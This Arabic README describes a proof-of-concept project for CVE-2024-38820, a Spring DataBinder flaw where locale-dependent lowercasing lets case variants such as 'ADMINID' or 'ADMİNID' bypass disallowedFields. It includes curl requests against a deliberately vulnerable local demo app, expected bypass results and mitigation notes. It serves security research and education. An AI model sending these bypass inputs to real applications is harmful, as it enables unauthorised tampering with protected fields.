
إثبات المفهوم لاستغلال CVE-2024-38820، يوضح تجاوز تحويل حالة الأحرف المعتمد على الإعدادات المحلية لحماية الحقول غير المسموح بها في Spring Framework DataBinder، مع اختبار آلي وإرشادات التخفيف.
يوضح هذا المشروع CVE-2024-38820، وهي ثغرة أمنية في أداة ربط البيانات (DataBinder) الخاصة بـ Spring Framework تسمح بتجاوز حماية disallowedFields بسبب مشكلات تحويل حالة الأحرف المعتمدة على اللغة.
String.toLowerCase() يختلف حسب اللغةجعل الإصلاح الخاص بـ CVE-2022-22968 أنماط disallowedFields غير حساسة لحالة الأحرف باستخدام String.toLowerCase(). ومع ذلك، تحتوي هذه الطريقة على استثناءات تعتمد على اللغة:
"ADMINID".toLowerCase() يصبح "adminıd" (مع ı بدون نقطة)"ADMINID".toLowerCase() يصبح "adminid"يمكن أن يسمح هذا الاختلاف للمهاجمين بتجاوز حماية الحقول باستخدام تباينات معينة في حالة الأحرف.
src/
├── main/java/com/example/demo/
│ ├── DemoApplication.java # فئة Spring Boot الرئيسية
│ ├── controller/UserController.java # وحدة التحكم المعرضة للخطر مع @InitBinder
│ └── model/UserInfo.java # النموذج مع حقل adminId المحمي
└── resources/application.properties # تكوين اللغة
test-cve-2024-38820.sh # سكربت الاختبار الآلي
pom.xml # تبعيات Maven (Spring 5.3.39 - ضعيف)
# بناء المشروع
mvn clean compile
# تشغيل التطبيق
mvn spring-boot:run
سيعمل التطبيق على http://localhost:8081
قم بزيارة نقطة النهاية الاختبارية لرؤية معلومات اللغة:
http://localhost:8081/test
جرب أشكالاً مختلفة لاسم الحقل:
# الحالة الطبيعية (يجب حظره)
curl "http://localhost:8081/user?username=test&adminId=999"
# أحرف كبيرة (قد يتجاوز)
curl "http://localhost:8081/user?username=test&ADMINID=999"
# أحرف مختلطة (قد يتجاوز)
curl "http://localhost:8081/user?username=test&AdminId=999"
# حرف İ التركي (قد يتجاوز)
curl "http://localhost:8081/user?username=test&ADMİNID=999"
قم بتشغيل سكربت الاختبار الشامل:
./test-cve-2024-38820.sh
adminId=999 → محظور (حالة طبيعية)ADMINID=999 → تم التجـاوز (أحرف كبيرة)AdminId=999 → تم التجـاوز (أحرف مختلطة)ADMİNID=999 → تم التجـاوز (İ التركية)adminId=999 → محظور (حالة طبيعية)ADMINID=999 → محظور (محمي)AdminId=999 → محظور (محمي)قم بتحرير src/main/resources/application.properties:
# اللغة التركية (ضعيفة)
spring.web.locale=tr_TR
server.servlet.locale=tr_TR
# اللغة الإنجليزية (محمية)
# spring.web.locale=en_US
# server.servlet.locale=en_US
يمكنك أيضًا تعيين اللغة الافتراضية لـ JVM:
mvn spring-boot:run -Duser.language=tr -Duser.country=TR
@InitBinder بتكوين disallowedFields("adminId")toLowerCase()"ADMINID".toLowerCase() ≠ "adminid"adminIdيقوم التطبيق بتسجيل معلومات مفصلة:
=== CVE-2024-38820 PoC - معلومات اللغة ===
اللغة الافتراضية لـ JVM: tr_TR
اختبار الحقل 'ADMINID' إلى أحرف صغيرة: 'adminıd'
اختبار الحقل 'ADMINID' إلى أحرف صغيرة (Locale.ENGLISH): 'adminid'
DataBinder مهيأ مع الحقل المحظور: 'adminId'
استخدم مطابقة الحقول الواعية باللغة:
@InitBinder
public void initBinder(WebDataBinder dataBinder) {
// استخدام اللغة الإنجليزية بوضوح
dataBinder.setDisallowedFields("adminId");
// حماية إضافية: التحقق من أسماء الحقول بلغة محددة
}
قم بتنفيذ تحقق مخصص من الحقول لا يعتمد على عمليات تعتمد على اللغة.
إثبات المفهوم هذا لأغراض تعليمية وبحثية أمنية فقط. استخدمه بمسؤولية على الأنظمة التي تملكها أو لديك إذن صريح باختبارها فقط.